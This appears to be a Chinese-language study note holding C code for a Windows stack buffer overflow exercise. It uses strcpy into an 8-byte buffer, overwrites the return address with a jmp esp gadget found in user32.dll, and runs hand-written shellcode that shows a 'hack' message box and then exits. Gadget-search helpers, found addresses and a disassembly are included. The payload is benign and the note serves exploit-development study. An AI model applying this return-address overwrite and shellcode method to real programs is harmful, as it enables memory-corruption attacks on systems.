代码
#include<stdio.h>
#include<string.h>
#include<windows.h>
typedef void (*MYPROC)(LPTSTR);
/**
char shellcode[] = "aaaaaaaaAAAABBBB";
EBS 41414141
EIP 42424242 ==》 返回地址
**/
char shellcode[]="aaaaaaaaAAAA" //AAAA覆盖EBP
//jmp esp 0x75929053覆盖了eip,覆盖了返回地址
"\x53\x90\x92\x75"
//恶意代码opcode
"\x33\xDB"
"\x53"
"\x68\x68\x61\x63\x6B"
"\x8B\xC4"
"\x53"
"\x68\x68\x61\x63\x6B"
"\x8B\xCC"
"\x53"
"\x50"
"\x51"
"\x53"
"\xB8\x90\x8E\x80\x75"
"\xFF\xD0"
"\x53"
"\xB8\xD0\x70\xCB\x75"
"\xFF\xD0"
;
void getEspOPcode(){
BYTE *ptr;
int position;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle = LoadLibrary("user32.dll");
if(!handle){ // 如果句柄获取失败
printf("Load DLL error!\n");
exit(0); // 退出程序
}
ptr = (BYTE*)handle; // 强制转换成 BYTE 类型的指针
for(position=0; !done_flag; position++){ // 细品
try{
if(ptr[position]==0xFF && ptr[position+1]==0xE4){
int address = (int)ptr + position;
printf("OPCODE found at 0x%x\n", address);
}
}catch(...){
int address = (int)ptr + position;
printf("END OF 0x%x\n", address);
done_flag = true;
}
}
}
void getMessageBoxAddr(){
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("user32");
printf("user32 = 0x%x\n", LibHandle);
ProcAdd = (MYPROC)GetProcAddress(LibHandle,"MessageBoxA");
printf("MessageBoxA = 0x%x\n", ProcAdd);
}
void getExitProcessAddr(){
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("kernel32");
printf("kernel32 = 0x%x\n", LibHandle);
ProcAdd = (MYPROC)GetProcAddress(LibHandle, "ExitProcess");
printf("ExitProcess = 0x%x\n", ProcAdd);
}
int main(){
//getEspOPcode();
//getMessageBoxAddr();
//getExitProcessAddr();
/**
OPCODE found at 0x75927f81
OPCODE found at 0x75929053
OPCODE found at 0x7592a10d
OPCODE found at 0x7592aadb
OPCODE found at 0x7592b1d3
OPCODE found at 0x7592bba9
OPCODE found at 0x7592c299
END OF 0x75936000
user32 = 0x75790000
MessageBoxA = 0x75808e90
kernel32 = 0x75c90000
ExitProcess = 0x75cb70d0
==> jmp esp 0x75929053
MessageBoxA = 0x75808e90
ExitProcess = 0x75cb70d0
**/
/**
// 调用了 user32 中的函数所以需要加载 user32几乎所有 win32 应用都会加载这个库
LoadLibrary("user32.dll");
// 内联汇编
_asm{
sub esp,0x50 // 为了让shellcode有较强的通用性一般shellcode一开始会大范围提高栈顶
// 把 shellcode 藏在栈内从而达到保护自身安全的目的
xor ebx,ebx // 将 ebx 清0
push ebx
push 0x6b636168 // kcah push一个hack当做标题push的时候不够了要用0x20填充为空
mov eax,esp // 把标题 hack 赋值给 eax
push ebx // ebx 压栈ebp为0作用是将两个连续的hack断开因为下面又要压一个hack作为弹框内容
push 0x6b636168
mov ecx,esp // 把内容 hack 赋值给 ecxesp 指向了当前的栈指针地址所以可以赋值
// 下面就是将MessageBox的参数压栈
push ebx // messageBox 第四个参数
push eax // messageBox 第三个参数
push ecx // messageBox 第二个参数
push ebx // messageBox 第一个参数
mov eax,0x75808e90 // messageBox 函数地址赋值给 eax
call eax // 调用 messageBox
push ebx // 压个0
mov eax,0x75cb70d0 // exitProcess 函数地址赋值给 eax
call eax // 调用 exitProcess
}
**/
/**
.text:0040103F 33 DB xor ebx, ebx
.text:00401041 53 push ebx
.text:00401042 68 68 61 63 6B push 6B636168h
.text:00401047 8B C4 mov eax, esp
.text:00401049 53 push ebx
.text:0040104A 68 68 61 63 6B push 6B636168h
.text:0040104F 8B CC mov ecx, esp
.text:00401051 53 push ebx
.text:00401052 50 push eax
.text:00401053 51 push ecx
.text:00401054 53 push ebx
.text:00401055 B8 90 8E 80 75 mov eax, 75808E90h
.text:0040105A FF D0 call eax
.text:0040105C 53 push ebx
.text:0040105D B8 D0 70 CB 75 mov eax, 75CB70D0h
.text:00401062 FF D0 call eax
==》
//下面是恶意代码opcode
\x33\xDB
\x53
\x68\x68\x61\x63\x6B
\x8B\xC4
\x53
\x68\x68\x61\x63\x6B
\x8B\xCC
\x53
\x50
\x51
\x53
\xB8\x90\x8E\x80\x75
\xFF\xD0
\x53
\xB8\xD0\x70\xCB\x75
\xFF\xD0
**/
/**
char shellcode[]="aaaaaaaaAAAA" //覆盖EBP
//jmp esp 0x75929053覆盖了eip
"\x53\x90\x92\x75"
//恶意代码opcode
"\x33\xDB"
"\x53"
"\x68\x68\x61\x63\x6B"
"\x8B\xC4"
"\x53"
"\x68\x68\x61\x63\x6B"
"\x8B\xCC"
"\x53"
"\x50"
"\x51"
"\x53"
"\xB8\x90\x8E\x80\x75"
"\xFF\xD0"
"\x53"
"\xB8\xD0\x70\xCB\x75"
"\xFF\xD0";
**/
/** **/
LoadLibrary("user32.dll");
LoadLibrary("kernel32.dll");
char buffer[8];
strcpy(buffer,shellcode);
printf("%s",buffer);
system("pause");
return 0;
}
实验结果
参考资料
Windows平台下栈溢出漏洞学习笔记
【缓冲区溢出】栈溢出原理 | 简单shellcode编写
字符与16进制转换